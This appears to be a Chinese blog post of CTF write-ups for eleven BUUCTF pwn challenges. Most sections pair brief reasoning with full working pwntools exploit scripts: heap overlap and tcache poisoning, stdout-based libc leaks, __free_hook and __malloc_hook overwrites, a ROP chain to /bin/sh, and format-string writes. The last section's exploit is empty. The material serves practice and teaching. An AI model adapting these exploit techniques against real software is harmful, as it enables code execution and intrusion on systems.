pwn入门-buu第五页题解(32道)(更新完毕,比赛见)

ciscn_2019_final_5

思路:

也是一道菜单堆题

没有show功能,对应没有show功能的堆块,我们一般先是看程序有没有开pie

如果开了pie,但是堆块大小没有限制的话并且有offbynull或者offbyone漏洞我们则可以来打堆块重叠来改_IO_stdout_2_1从而泄露libc_base,其实也可以通过将main_arena+96通过特殊数段dup到tcache的bins里面,然后再修改第三位也可以打malloc_hook。

如果没开pie且got表可改的话我们可以通过某些漏洞来造成任意地址改,从而修改free的got表为puts,再改掉堆地址为got表的地址,从而通过free(idx)来泄露libc_base。

由于这题没开pie所以我们选择改free的got表。先看看堆块逻辑。

edit不能编辑idx大于16的堆块包括16

add函数这里会打印堆块的低三位,不知道有什么用,反正我没用上

貌似是用堆块的最低位来存放idx。

申请了两个堆块,确实是如此

add(0x10, 0x18, b'a') #index 0
add(1, 0x30, b'b') #index 1

这里我申请了一个idx为16的堆块,那么堆块地址的最低位是为0的,虽然我们不能edit(16),但是在这里edit(0)既然可以编辑我申请的idx为16的堆块,那么这样就可以轻松造成堆溢出,从而修改已经free掉的堆块的fd指针来实现任意地址改了。

#修改堆信息

add(0x10, 0x18, b'a') #index 0
add(1, 0x30, b'b') #index 1
debug()
free(1)

edit(0, p64(0) + p64(0x21) + p64(0x6020e0))
add(2,0x38,b'a'*1)
add(3,0x38,p64(elf.got["free"])+p64(elf.got["atoi"])+p64(elf.got["setvbuf"]))

值得注意的是,后面free(8)来泄露libc_base,以及在修改atoi也需要用idx为8的堆块。不过相信聪明的你一定知道该怎么做。

Exp:

from pwn import *
#p=remote("node5.buuoj.cn",29241)
p=process("./pwn")
elf=ELF("./pwn")
libc=ELF("/home/giant/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so")
def debug():
	gdb.attach(p)
	pause()
def add(idx,size,content):
	p.sendlineafter(b'your choice: ',b'1')
	p.sendlineafter(b'index: ',str(idx))
	p.sendlineafter(b'size: ',str(size))
	p.sendlineafter(b'content: ',content)

def free(idx):
	p.sendlineafter(b'your choice: ',b'2')
	p.sendlineafter(b'index: ',str(idx))

def edit(idx,content):
	p.sendlineafter(b'your choice: ',b'3')
	p.sendlineafter(b'index: ',str(idx))
	p.sendafter(b'content: ',content)
	
add(0x10, 0x18, b'a') #index 0
add(1, 0x30, b'b') #index 1

free(1)

edit(0, p64(0) + p64(0x21) + p64(0x6020e0))
add(2,0x38,b'a'*1)
add(3,0x38,p64(elf.got["free"])+p64(elf.got["atoi"])+p64(elf.got["setvbuf"]))

edit(8,p64(0)+p64(elf.sym["puts"]))
free(8)
free(8)
libc_base=u64(p.recv(6).ljust(8,b'\x00'))-libc.sym["setvbuf"]
system=libc_base+libc.sym["system"]
print(hex(libc_base))
add(0,0x28,b'a'*2)
add(9,0x28,b'a'*2)
edit(3,p64(elf.got["atoi"])*2)
edit(8,p64(elf.sym["setvbuf"])+p64(system))
p.sendlineafter(b'your choice: ',b'sh\x00')
p.interactive()
#
#edit(0,p64(elf.got["setvbuf"]))


sctf_2019_easy_heap

思路:

一道菜单堆题且保护全开

在打印菜单之前首先会开辟一块可读可写可执行空间,并打印其地址。

我们现在来看看他的功能。

free并没有uaf漏洞,这里add申请的堆块大小还是有限制的,而且每次add会打印堆块信息

edit这里存在offbynull漏洞

只不过可惜的是,这里由于开了pie所以我们并没有办法通过unlink来改变堆的控制信息。但是我们可以通过这个来修改prev_size,来造成堆块重叠,从而造成uaf。

#堆块重叠

print(p.recvline())    
add(0x428)#0
p.recvuntil(b'Address ')
heap_0=int(p.recv(14),16)
print(hex(heap_0))
add(0xf8)#1
add(0x4f8)#2
add(0x18)#3
add(0x18)#3
free(0)
edit(1,b'a'*0xf0+p64(0x530))
free(2)
debug()

但是这里比较悲催的是这里由于没有show功能,而且也不能改got表,所以一时半会也想不到什么手段可以泄露libc_base。迫于无奈看了一眼wp。这里wp是有两种解法的。不过我对于第一种解法更加容易接受一些。

这里的第一种解法和我的堆块堆叠区别就是,它在堆叠的时候把中间那个堆块也free掉了

add(0x428)#0
add(0xe8)#1
add(0x4f8)#2
add(0x18)#3
add(0x18)#3
free(6)
edit(7,b'a'*0xe0+p64(0x530-0x10))
free(7)
free(8)

然后再申请一个和第一个堆块大小一样的chunk

这样就可以把idx1的fd和bk填充上main_arena+96了。然后再申请编辑即可。

第一次可以来写buf也就是那段可读可写可执行权限的空间,第二次就可以写malloc_hook

这种做法的好处就是不用泄露libc_base。因为main_arena+96通过切割unsorted bin,填充到了tcache bin中的free堆块里面,然后main_arena和malloc_hook靠的又比较近,所以我们就可以以此来打shellcode

第二种解法就是利用IO结构来泄露libc_base。

关于详细的内容可以看看这位师傅的博客

好好说话之IO_FILE利用(1):利用_IO_2_1_stdout泄露libc_libc泄露方式-CSDN博客

其实第二种解法实现任意地址改的思路和第一种是差不多的。主要就在于第二种做法,通过修改_IO_2_1_stdout来泄露了libc_base。这里修改_IO_2_1_stdout的方法是和第一种做法一样的。下面修改free_hook也是如此

Exp:

exp1

from pwn import *
p=process("./pwn")
libc=ELF("/home/giant/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so")
context(os = 'linux', arch = 'amd64', log_level='debug')
def debug():
	gdb.attach(p)
	pause()

def add(size):
	p.sendlineafter(b'>> ',b'1')
	p.sendlineafter(b'Size: ',str(size))

def free(idx):
	p.sendlineafter(b'>> ',b'2')
	p.sendlineafter(b'Index: ',str(idx))
	
def edit(idx,content):
	p.sendlineafter(b'>> ',b'3')
	p.sendlineafter(b'Index: ',str(idx))
	p.sendlineafter(b'Content: ',content)

p.recvuntil(b'Mmap: ')
buf=int(p.recv(12),16)
# first_attack shellcode -> buf
#堆块重叠

print(p.recvline())    
add(0x428)#0
p.recvuntil(b'Address ')
heap_0=int(p.recv(14),16)
print(hex(heap_0))
add(0xf8)#1
add(0x4f8)#2
add(0x18)#3
add(0x18)#3
free(0)
edit(1,b'a'*0xf0+p64(0x530))
free(1)
free(2)
add(0x428)
#add(0xf8)
free(0)
add(0x448)
edit(0,b'\x00'*0x428+p64(0xf8)+p64(buf))
add(0xf8)#1
add(0xf8)#1
edit(2,asm(shellcraft.amd64.sh()))
add(0x5d0)

#second attack

add(0x428)#0
add(0xe8)#1
add(0x4f8)#2
add(0x18)#3
add(0x18)#3
free(6)
edit(7,b'a'*0xe0+p64(0x530-0x10))
free(7)
free(8)
add(0x428)
free(6)
add(0x448)
edit(6,b'\x00'*0x428+p64(0xe8)+p8(0x30))
add(0xe8)
add(0xe8)
edit(8,p64(buf))
add(0x20)
p.interactive()

exp2

from pwn import *
p=process("./pwn")
libc=ELF("/home/giant/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so")
context(os = 'linux', arch = 'amd64', log_level='debug')
def debug():
	gdb.attach(p)
	pause()

def add(size):
	p.sendlineafter(b'>> ',b'1')
	p.sendlineafter(b'Size: ',str(size))

def free(idx):
	p.sendlineafter(b'>> ',b'2')
	p.sendlineafter(b'Index: ',str(idx))
	
def edit(idx,content):
	p.sendlineafter(b'>> ',b'3')
	p.sendlineafter(b'Index: ',str(idx))
	p.sendlineafter(b'Content: ',content)

add(0x420) #index 0
add(0x68) #index 1
add(0x4f0) #index 2
add(0x20) #index 3
free(0)
edit(1, p64(0)*12 + p64(0x4a0))
free(1)
free(2)
add(0x420) #index 0
free(0)

add(0x440) #index 0
edit(0, p64(0)*0x85 + p64(0x71) + p8(0x60) + p8(0xc7))

add(0x60) #index 1
add(0x60) #index 2

edit(2, p64(0xfbad1800) + p64(0)*3 + b'\x58')

libc_base = u64(p.recv(6).ljust(8, b'\x00')) - libc.sym['_IO_file_jumps']
print(' libc_base -> ', hex(libc_base))

# second_attack  free_hook -> system
add(0x540) #index 4
add(0x410) #index 5
add(0x28) #index 6
add(0x4f0) #index 7
add(0x20) #index 8
free(5)
edit(6, p64(0)*4 + p64(0x450))
free(6)
free(7)
add(0x410) #index 5
free(5)
add(0x430) #index 5

free_hook = libc_base + libc.sym['__free_hook']
system = libc_base + libc.sym['system']
edit(5, b'\x00'*0x410 + p64(0) + p64(0x71) + p64(free_hook))
add(0x20) #index 6
add(0x20) #index 7
edit(7, p64(system))

# pwn
add(0x10) #index 8
edit(8, b'/bin/sh\x00')
free(8)
p.interactive()


asis2016_b00ks

思路:

又是一道菜单堆题目,先check一下。

OK开了pie,got表也是不可改的

在整个菜单开始之前,我们还需要先输入我们的书名。

再来看看add和free这两个函数

add这里我们可以自定义堆块的大小,不过貌似书名的size不能超过32,但是也没看到代码吧这个功能实现。我们接着往下看。

这个free函数貌似存在uaf漏洞?。

OK漏洞点在case5也就是change 哪里。这里有一个offbynull漏洞。

可以看到这里输入完之后会在末尾添加\x00,我们来看看这里的末尾是什么位置

可以看到这里的name后面正是我们的堆地址,那么我们可以先通过这个来泄露堆地址。

#leak heap_addr
p.sendlineafter(b'Enter author name: ',b'a'*0x20)

add(0xf8,b'a'*0xf8,0xf8,b'b'*0xe8)
add(0xf8,b'c'*0xf8,0xf8,b'd'*0xf8)
show()


#change(b'a'*0x1)
p.recvuntil(b'Author: ')
p.recv(0x20)

heap_base=u64(p.recv(6).ljust(8,b'\x00'))

这里我们为什么要申请0xf8大小的堆块也是有讲究的,如果idx1申请小了就会导致我们offbynull攻击的时候,改不到堆信息,所以大一点方便泄露libc_base也便于我们篡改堆的结构体。

这里是idx1的堆信息,如果我们申请的堆块比较小的话,那么最后三位可能为0x020,那么这样offbynull就无法利用了。然后我们现在就可以该堆输入和输出的地方了,由于edit也会造成offbynull,所以这里不能用p64位打包

#leak libc_base

a = int(hex(heap_base-0x10)[-8:],16)
b=int(hex(heap_base-0x10)[-12:-8],16)
print(hex(a))
print(hex(b))

edit(1,b'a'*0x10)
print(hex(heap_base))
free(2)
edit(1,b'b'*0xe0+p64(0x1)+p64(heap_base+0x30)+p32(a)+p16(b))


change(b'a'*0x20)
show()
p.recvuntil(b'Name: ')
libc_base=u64(p.recv(6).ljust(8,b'\x00'))-88-0x10-libc.sym["__malloc_hook"]

然后我们再接着edit修改idx1的输入的地方就可以打one_gadget了

Exp:

from pwn import *
#p=process("./pwn")
elf=ELF("./pwn")
p=remote("node5.buuoj.cn",28464)
libc=ELF("/home/giant/Desktop/buuctf5/libc-2.23_16_64.so")
#libc=ELF("/home/giant/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so")
def debug():
	gdb.attach(p)
	pause()

def add(Nsize,name,Csize,content):
	p.sendlineafter(b'> ',b'1')
	p.sendlineafter(b'Enter book name size: ',str(Nsize))
	p.sendlineafter(b'Enter book name (Max 32 chars): ',name)
	p.sendlineafter(b'Enter book description size: ',str(Csize))
	p.sendlineafter(b"Enter book description: ",content)

def free(idx):	
	p.sendlineafter(b'> ',b'2')
	p.sendlineafter(b'Enter the book id you want to delete: ',str(idx))

def edit(idx,content):
	p.sendlineafter(b'> ',b'3')
	p.sendlineafter(b'Enter the book id you want to edit: ',str(idx))
	p.sendlineafter(b'Enter new book description: ',content)


def show():
	p.sendlineafter(b'> ',b'4')


	
def change(name):
	p.sendlineafter(b'> ',b'5')
	p.sendlineafter(b'Enter author name: ',	name)

p.sendlineafter(b'Enter author name: ',b'a'*0x20)

add(0xf8,b'a'*0xf8,0xf8,b'b'*0xe8)
add(0xf8,b'c'*0xf8,0xf8,b'd'*0xf8)
show()


#change(b'a'*0x1)
p.recvuntil(b'Author: ')
p.recv(0x20)

heap_base=u64(p.recv(6).ljust(8,b'\x00'))
a = int(hex(heap_base-0x10)[-8:],16)
b=int(hex(heap_base-0x10)[-12:-8],16)
print(hex(a))
print(hex(b))

edit(1,b'a'*0x10)
print(hex(heap_base))
free(2)
edit(1,b'b'*0xe0+p64(0x1)+p64(heap_base+0x30)+p32(a)+p16(b))


change(b'a'*0x20)
show()
p.recvuntil(b'Name: ')
libc_base=u64(p.recv(6).ljust(8,b'\x00'))-88-0x10-libc.sym["__malloc_hook"]
free_hook=libc_base+libc.sym["__free_hook"]
a = int(hex(free_hook)[-8:],16)
b=int(hex(free_hook)[-12:-8],16)
print(hex(libc_base))
ogg=libc_base+0x4526a
edit(1,p32(a)+p16(b))
edit(1,p64(ogg))
free(1)
p.interactive()



linkctf_2018.7_babypie

思路:

一道开了pie和canary的ret2text,只不过是开了canary和pie而已。

这里第一个read可以覆盖掉canary的最后一个字节使其不为\x00从而泄露canary,再在第二个字节里面填回去即可绕过canary保护,再改返回地址为后门函数即可

Exp:

from pwn import *
#p=process("./pwn")
p=remote("node5.buuoj.cn",25501)
p.send(b'a'*0x29)
pause()
p.recvuntil(b'Hello ')
p.recv(0x29)


canary=u64(p.recv(7).rjust(8,b'\x00'))

print(hex(canary))

payload=b'a'*0x28+p64(canary)+b'a'*8+p8(0x42)
p.send(payload)
p.interactive()

强网杯2019 拟态 STKOF

思路:

pwn2通了pwn1也能通

Exp:

from pwn import *
from struct import pack
context.log_level='debug'
context(os = 'linux', arch = 'amd64')
 
#p = process('./pwn')
p = remote("node5.buuoj.cn",28487)
elf = ELF('./pwn2')
libc = ELF('/home/giant/Desktop/buuctf5/libc-2.23_16-32.so')
#libc = ELF('/home/w1nd/Desktop/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')
 
def debug():
	gdb.attach(p)
	pause()
def get_payload():
	p = b'a'*0x110
	p += pack('<I', 0x0806e9cb) # pop edx ; ret
	p += pack('<I', 0x080d9060) # @ .data
	p += pack('<I', 0x080a8af6) # pop eax ; ret
	p += b'/bin'
	p += pack('<I', 0x08056a85) # mov dword ptr [edx], eax ; ret
	p += pack('<I', 0x0806e9cb) # pop edx ; ret
	p += pack('<I', 0x080d9064) # @ .data + 4
	p += pack('<I', 0x080a8af6) # pop eax ; ret
	p += b'//sh'
	p += pack('<I', 0x08056a85) # mov dword ptr [edx], eax ; ret
	p += pack('<I', 0x0806e9cb) # pop edx ; ret
	p += pack('<I', 0x080d9068) # @ .data + 8
	p += pack('<I', 0x08056040) # xor eax, eax ; ret
	p += pack('<I', 0x08056a85) # mov dword ptr [edx], eax ; ret
	p += pack('<I', 0x080481c9) # pop ebx ; ret
	p += pack('<I', 0x080d9060) # @ .data
	p += pack('<I', 0x0806e9f2) # pop ecx ; pop ebx ; ret
	p += pack('<I', 0x080d9068) # @ .data + 8
	p += pack('<I', 0x080d9060) # padding without overwrite ebx
	p += pack('<I', 0x0806e9cb) # pop edx ; ret
	p += pack('<I', 0x080d9068) # @ .data + 8
	p += pack('<I', 0x08056040) # xor eax, eax ; ret
	p += pack('<I', 0x0807be5a) # inc eax ; ret
	p += pack('<I', 0x0807be5a) # inc eax ; ret
	p += pack('<I', 0x0807be5a) # inc eax ; ret
	p += pack('<I', 0x0807be5a) # inc eax ; ret
	p += pack('<I', 0x0807be5a) # inc eax ; ret
	p += pack('<I', 0x0807be5a) # inc eax ; ret
	p += pack('<I', 0x0807be5a) # inc eax ; ret
	p += pack('<I', 0x0807be5a) # inc eax ; ret
	p += pack('<I', 0x0807be5a) # inc eax ; ret
	p += pack('<I', 0x0807be5a) # inc eax ; ret
	p += pack('<I', 0x0807be5a) # inc eax ; ret
	p += pack('<I', 0x080495a3) # int 0x80
	return p
 
payload = get_payload()
p.recv()
p.send(payload)
p.interactive()

picoctf_2018_echooo

思路:

就是格式化字符串漏洞,flag.txt还写在栈上面,很简单的一道题

Exp:

from pwn import *
#p=process("./pwn")
p=remote("node5.buuoj.cn",29861)
#gdb.attach(p,'b *0x0804874F')
payload=b'%8$s'
p.sendlineafter(b"> ",payload)
print(p.recv())
pause()

ciscn_2019_s_6

思路:

这道题好像出现好几次了吧,图我都懒得放了直接放exp吧

Exp:

from pwn import *
from struct import pack
#p=process("./pwn")
p=remote("node5.buuoj.cn",28719)
context(os = 'linux', arch = 'amd64', log_level='debug')
libc=ELF("/home/giant/Desktop/buuctf5/libc_18_64.so")

def debug():
	gdb.attach(p)
	pause()
def add(size, name, call):
	p.sendlineafter(b'choice:', '1')
	p.sendlineafter(b'name\n', str(size))
	p.sendafter(b'name:\n', name)
	p.sendafter(b'call:\n', call)
def show(index):
	p.sendlineafter(b'choice:', '2')
	p.sendlineafter(b'index:\n', str(index))
def free(index):
	p.sendlineafter(b'choice:', '3')
	p.sendlineafter(b'index:\n', str(index))


add(0x418,b'tom',b'a'*8)
add(0x68,b'tom',b'a'*8)
free(0)
show(0)
p.recvline()
libc_base=u64(p.recv(6).ljust(8,b'\x00'))-0x3ebca0
free_hook=libc_base+libc.sym["__free_hook"]
system=libc_base+libc.sym["system"]
print(hex(libc_base))
add(0x68,b'tom',b'a'*8)
free(1)
free(2)
free(1)
add(0x68,p64(free_hook),b'a'*8)
add(0x68,b'/bin/sh\x00',b'a'*8)
add(0x68,b'/bin/sh\x00',b'a'*8)
add(0x68,p64(system),b'a'*8)
free(4)
p.interactive()

#debug()



roarctf_2019_realloc_magic

思路:

又是一道能让我学到很多东西的题目。

也是一道菜单堆题,但是我们没有见到我们的老盆友malloc,反而看到了一副新面孔realloc。

这里先介绍一下realloc吧。

听名字,就感觉像是reset malloc。重新分配堆块的意思,事实上也是如此,只不过realloc有两个参数

第一个参数是一个指针型,第二个参数是一个size。如果你想吃快餐,那么记住以下四条就可以了

1.当size为0,这时就相当于free()函数,同时返回值为null

2.当指针为0,size大于0,相当于malloc函数

3.size小于等于原来的size,则在原先的基础上缩小,多余的free掉

4.size大于原来的size,如果有空间就原基础扩充,空间不足则分配新的内存,将内容复制到新的内存中,然后再将原来的内存free掉。

那如果想细嚼慢咽,就对着源码分析为什么会这样。那么现在来看看这道题

fr函数存在uaf。

re函数可以往realloc_ptr里面写值

这里还有一个666的选项,作用就是将realloc_ptr清零,不过只可以用一次。很明显这题没有可以泄露的函数,那么我们就只能去打IO去泄露libc_base了关于这个。我也写了一篇基础的入门文章,或者去网上搜也行。那么我们可以先通过将main_arena搞到bin里面再通过修改它的低位从而在_IO_stdout_2_1附近申请一块内存,然后修改_IO_write_base,从而泄露libc_base。

这里需要结合realloc的特性

realloc(0x30, b'a')
realloc(0, '')
realloc(0x80, b'a')
realloc(0, '')
realloc(0x10,b'a')
realloc(0, '')
realloc(0x80, b'a')
for i in range(7):
    free()
#realloc(0x80, b'a')
realloc(0, '')
realloc(0x30,b'a')

realloc(0x50, p64(0)*7+p64(0x51)+p8(0x60)+p8(0xc7))

realloc(0x80, b'a')
realloc(0,"")
realloc(0x80, b'a')
realloc(0,"")
realloc(0x80, p64(0xfbad1887) + p64(0)*3 + p8(0x58))
libc_base=u64(r.recv(6).ljust(8,b'\x00'))-libc.sym['_IO_file_jumps']
print(' libc_base -> ', hex(libc_base))

值得一提的是在这里不能把666用了,这里需要通过realloc的特性去修改掉的 unsorted bin 中的 0x80 大小的 chunk 的 size改为了0x51,不然realloc(0,"")任然申请不到_IO_stdout的地址。这里的666(也就是只能使用一次的(back),需要在申请并且修改完_IO_stdout_2_1再使用,不然堆块就会一直卡在libc哪里,无法通过realloc申请回来

然后后面就是打free_hook了,和泄露libc_base一样方法,只是size需要注意一下。那么接下看exp吧

Exp:

from pwn import *

r = remote("node5.buuoj.cn",27290)
#r = process("./roarctf_2019_realloc_magic")

#r=process("./pwn")
elf = ELF("./pwn")
libc = ELF('/home/giant/Desktop/buuctf5/libc_2.27_18_64.so')
def debug():
	gdb.attach(r)
	pause()

def realloc(size, content):
	r.recvuntil(">> ")
	r.sendline('1')
	r.recvuntil("Size?\n")
	r.sendline(str(size))
	r.recvuntil("Content?\n")
	r.send(content)

def free():
	r.recvuntil(">> ")
	r.sendline('2')

def back():
	r.recvuntil(">> ")
	r.sendline('666')


realloc(0x30, b'a')
realloc(0, '')
realloc(0x80, b'a')
realloc(0, '')
realloc(0x10,b'a')
realloc(0, '')
realloc(0x80, b'a')
for i in range(7):
	free()
#realloc(0x80, b'a')
realloc(0, '')
realloc(0x30,b'a')

realloc(0x50, p64(0)*7+p64(0x51)+p8(0x60)+p8(0xc7))

realloc(0x80, b'a')
realloc(0,"")
realloc(0x80, b'a')
realloc(0,"")
realloc(0x80, p64(0xfbad1887) + p64(0)*3 + p8(0x58))
libc_base=u64(r.recv(6).ljust(8,b'\x00'))-libc.sym['_IO_file_jumps']
print(' libc_base -> ', hex(libc_base))
free_hook=libc_base+libc.sym["__free_hook"]

back()
realloc(0x20, b'a')
realloc(0, '')
realloc(0x90, b'a')
realloc(0, '')
realloc(0x10, b'a')
realloc(0, '')

realloc(0x90, b'a')
for i in range(7):
	free()
realloc(0, '')

free_hook = libc_base + libc.sym['__free_hook']
system = libc_base + libc.sym['system']

realloc(0x20, b'a')
payload = p64(0)*5 + p64(0x51) + p64(free_hook - 0x8)
realloc(0x40, payload)
realloc(0, '')

realloc(0x90, b'a')
realloc(0, '')
realloc(0x90, b'/bin/sh\x00' + p64(system))

#pwn
free()
r.interactive()

SWPUCTF_2019_p1KkHeap

思路:

菜单堆题

add函数不能申请大小超过0x100大小的堆块

free函数存在uaf漏洞,但是不完全。因为这里只是没有把指针清空,但是把size清空了。

而且这里的free函数也只能使用两次

这题我们可以打tcache结构体来实现libc_base泄露和任意地址写。

最上面那个大小为0x251的堆块里面存放着tcache中每个bins当前放了多少个堆块,以及存放堆块的地址等信息,我们可以通过uaf来申请到这一块内存从而来修改tcache当前放了多少堆块,已经相关信息来实现任意地址写和泄露libc_base。

由于这个题目还开了沙盒,所以我们不能直接getshell,这里程序也给了我们一段可读可写可执行的空间

所以我们可以先在这里填入orw,再改malloc_hook为这个地址即可获得flag

Exp:

from pwn import *
p=process("./pwn")
#p=remote("node5.buuoj.cn",26834)
elf=ELF("./pwn")
context(os = 'linux', arch = 'amd64', log_level='debug')
libc=ELF("/home/giant/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so")
def debug():
	gdb.attach(p)
	pause()
def debug():
	gdb.attach(p)
	pause()
def add(size):
	p.sendlineafter(b'Your Choice:', '1')
	p.sendlineafter(b'size: ', str(size))
def show(index):
	p.sendlineafter(b'Your Choice:', '2')
	p.sendlineafter(b'id: ', str(index))
def edit(index, content):
	p.sendlineafter(b'Your Choice:', '3')
	p.sendlineafter(b'id: ', str(index))
	p.sendafter(b'content: ', content)
def free(index):
	p.sendlineafter(b'Your Choice:', '4')
	p.sendlineafter(b'id: ', str(index))


add(0xf8)#0


free(0)

free(0)

show(0)
p.recvuntil(b'content: ')
heap1=u64(p.recv(6).ljust(8,b'\x00'))
print(hex(heap1))
buf=0x66660000
add(0xf8)#1
edit(1,p64(heap1-0x260))
add(0xf8)#2
add(0xf8)#3
edit(3,p64(0)+p64(0x251)+p64(0)+p8(0x7)*7+p64(0)*10+b'\x00'+p64(buf))

add(0x18)#4

free(2)
show(2)
p.recvuntil(b'content: ')
libc_base=u64(p.recv(6).ljust(8,b'\x00'))-96-0x10-libc.sym["__malloc_hook"]
print(hex(libc_base))
malloc_hook=libc_base+libc.sym["__malloc_hook"]
add(0x58)#5
edit(5,asm(shellcraft.cat(b'/flag')))
edit(3,p64(0)+p64(0x251)+p64(0)+p8(0x7)*7+p64(0)*10+b'\x00'+p64(malloc_hook)*2)
add(0x68)

edit(6,p64(buf))
add(0x10)
print(p.recv())
pause()



SWPUCTF_2019_login

思路:

又是一道经典的非栈上格式化字符串漏洞,注意一下就好了

Exp:

from pwn import *
from struct import pack
context(os = 'linux', arch = 'amd64', log_level='debug')

#p = process('./pwn')
p = remote("node5.buuoj.cn",25986)
elf = ELF('./pwn')
#libc = ELF('buu/libc-2.23.so')
#libc = ELF('buu/libc-2.23-x64.so')
libc = ELF('libc-2.27_18_32.so')
#libc = ELF('buu/libc-2.27-x64.so')
#libc = ELF('glibc-all-in-one/libs/2.23-0ubuntu11.3_i386/libc-2.23.so')
#libc = ELF('glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')
#libc = ELF('glibc-all-in-one/libs/2.27-3ubuntu1_i386/libc-2.27.so')
#libc = ELF('glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so')
def debug():
	gdb.attach(p)
	pause()

p.sendlineafter(b'name: \n', b'/bin/sh\x00')

# leak_libc_base
payload = b'%15$p'
p.sendlineafter(b'\n', payload)
p.recvuntil(b'0x')
libc_base = int(p.recv(8), 16) - libc.sym['__libc_start_main'] - 241
print(' libc_base -> ', hex(libc_base))

# leak_ret
payload = b'%6$p'
p.sendlineafter(b'Try again!\n', payload)
p.recvuntil(b'0x')
ret = int(p.recv(8), 16) - 0xc
print(' ret -> ', hex(ret))

# ret -> system
system = libc_base + libc.sym['system']
print(' system -> ', hex(system))
low_8 = system & 0xff
low_16 = (system >> 8) & 0xff
low_24 = (system >> 16) & 0xff
low_32 = (system >> 24) & 0xff
low = [low_8, low_16, low_24, low_32]

for i in range(len(low)):
	ret_low_8 = ret & 0xff
	payload = b'%' + str(ret_low_8 + i).encode() + b'c%6$hhn'
	p.sendlineafter(b'Try again!\n', payload)
	p.sendlineafter(b'Try again!\n', b'stopstop')
	p.recvuntil(b'stopstop')
	payload = b'%' + str(low[i]).encode() + b'c%10$hhn'
	p.sendlineafter(b'Try again!\n', payload)

p.sendafter(b'Try again!\n', b'wllmmllw\x00')
p.interactive()

de1ctf_2019_weapon

思路:

又是一道菜单堆题

思路很简单,就是每次需要去爆破,去调试有点麻烦。这里存在一个uaf漏洞

但是并没有给我们show函数,那么就需要通过修改_IO_stdout_2_1来泄露libc_base了,但是我们的malloc对应size也是有限制的

不过这里庆幸我们还可以申请到0x60大小的。省去了一些麻烦。那么由于这里存在uaf漏洞,那么可以通过这个漏洞再在堆上申请一块内存,造成堆块重叠,然后再释放,就可以有unsorted bin堆块了。然后我们在free,add一下就可以发现main_arena+88在fastbin上面了,然后我们再爆破一位就可以在_IO_stdout_2_1上面申请内存了。

add(0x50, 0, b'a')
add(0x50, 1, b'a')
add(0x60, 2, b'a')
add(0x50, 3, b'a')
add(0x10, 4, b'a')
edit(0, b'a'*0x40 + p64(0) + p64(0x61))
free(0)
free(1)
free(0)
edit(0, p8(0x50)) # 修改 fd 指向,方便修改 size

add(0x50, 5, b'a')
add(0x50, 6, p64(0) + p64(0x131)) # 修改 size
free(2) # 先 free ,利用 unsorted bin 的特性将 main_arena_xx 放入 fd 中
free(1)
add(0x50, 7, b'a') # main_arena_xx 放入 fd 中
add(0x50, 8, p8(0xdd) + p8(0xd5)) # 修改 main_arena_xx 到 _IO_2_1_stdout_

注意这里的p8(0xdd)+p8(0xd5)这里的d5是需要爆破一位的,也就是只有1/16的成功率,不过在本地打的话成功率会高很多,可以在gdb里面调试看,不一定会是d5,每个人的机器不一样。

那么泄露libc_base了之后就是经典的uaf打malloc_hook了,当然这里需要先将unsorted bin给还原,或者想办法修复为合理的值,不然可能申请不了chunk。

Exp:

from pwn import *
p=process("./pwn")
elf=ELF("./pwn")
libc=ELF("/home/giant/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so")
def debug():
	gdb.attach(p)
	pause()
def add(idx,size,content):
	p.sendlineafter(b'choice >> ',b'1')
	p.sendlineafter(b'wlecome input your size of weapon: ',str(size))
	p.sendlineafter(b'input index: ',str(idx))
	p.sendafter(b'input your name:',content)
	
def edit(idx,content):
	p.sendlineafter(b'choice >> ',b'3')
	p.sendlineafter(b'input idx: ',str(idx))
	p.sendafter(b'new content:\n',content)
	
def free(idx):
	p.sendlineafter(b'choice >> ',b'2')
	p.sendlineafter(b'input idx :',str(idx))
	
add(0x50, 0, b'a')
add(0x50, 1, b'a')
add(0x60, 2, b'a')
add(0x50, 3, b'a')
add(0x10, 4, b'a')
edit(0, b'a'*0x40 + p64(0) + p64(0x61))
free(0)
free(1)
free(0)
edit(0, p8(0x50)) # 修改 fd 指向,方便修改 size

add(0x50, 5, b'a')
add(0x50, 6, p64(0) + p64(0x131)) # 修改 size
free(2) # 先 free ,利用 unsorted bin 的特性将 main_arena_xx 放入 fd 中
free(1)
add(0x50, 7, b'a') # main_arena_xx 放入 fd 中
add(0x50, 8, p8(0xdd) + p8(0xd5)) # 修改 main_arena_xx 到 _IO_2_1_stdout_

edit(1, b'a'*0x40 + p64(0) + p64(0x61)) #接下来这部分是修改 size ,不然申请不了 
free(0)                                 #因为堆块的大小之前被 unsorted bin 的特性改变了
free(1)
free(0)
edit(0, p8(0xb0))
add(0x50, 9, b'a')
add(0x50, 10, p64(0) + p64(0x71))

# _IO_2_1_stout_ -> leak_libc_base
add(0x60, 11, b'a')
payload = b'a'*0x33 + p64(0xfbad1887) + p64(0)*3 + p8(0xa0) + p8(0xd2)
add(0x60, 12, payload)
libc_base = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - 1896 - 0x10 - libc.sym['__malloc_hook']
print(' libc_base -> ', hex(libc_base))
sleep(1)

# secode_attack malloc_hook -> one_gadget
fake_chunk = libc_base + libc.sym['__malloc_hook'] - 0x23
one_gadget = libc_base + 0xf1147
add(0x60, 13, b'a') 
free(13)
edit(13, p64(fake_chunk))
add(0x60, 14, b'a')
add(0x60, 15, b'a'*0x13 + p64(one_gadget))
p.sendlineafter(b'>> \n', '1')
p.sendlineafter(b': ', str(0x10))
p.sendlineafter(b': ', str(16))
p.interactive()


ciscn_2019_n_7

思路:

菜单堆题

没有free功能,且libc版本为2.23,盲猜是house of orange。但是edit函数并没有堆溢出,而且add也只能执行一次。所以排除这种做法

这里送了一个礼物,也就是直接送了libc_base的基地址,那么我们在看看怎么实现任意地址改

这里的edit很明显可以任意地址改,这种题。。。

但是由于我们已经申请过一次了,且程序中没有free函数。那么打malloc_hook和free_hook函数是不显示的,所以这里我们需要打exit_hook。不过可惜的是本地的ogg貌似的失效了。但是远程还是可以打通的。关于exit_hook怎么寻找,网上有很多教程,这里就不赘述了

Exp:

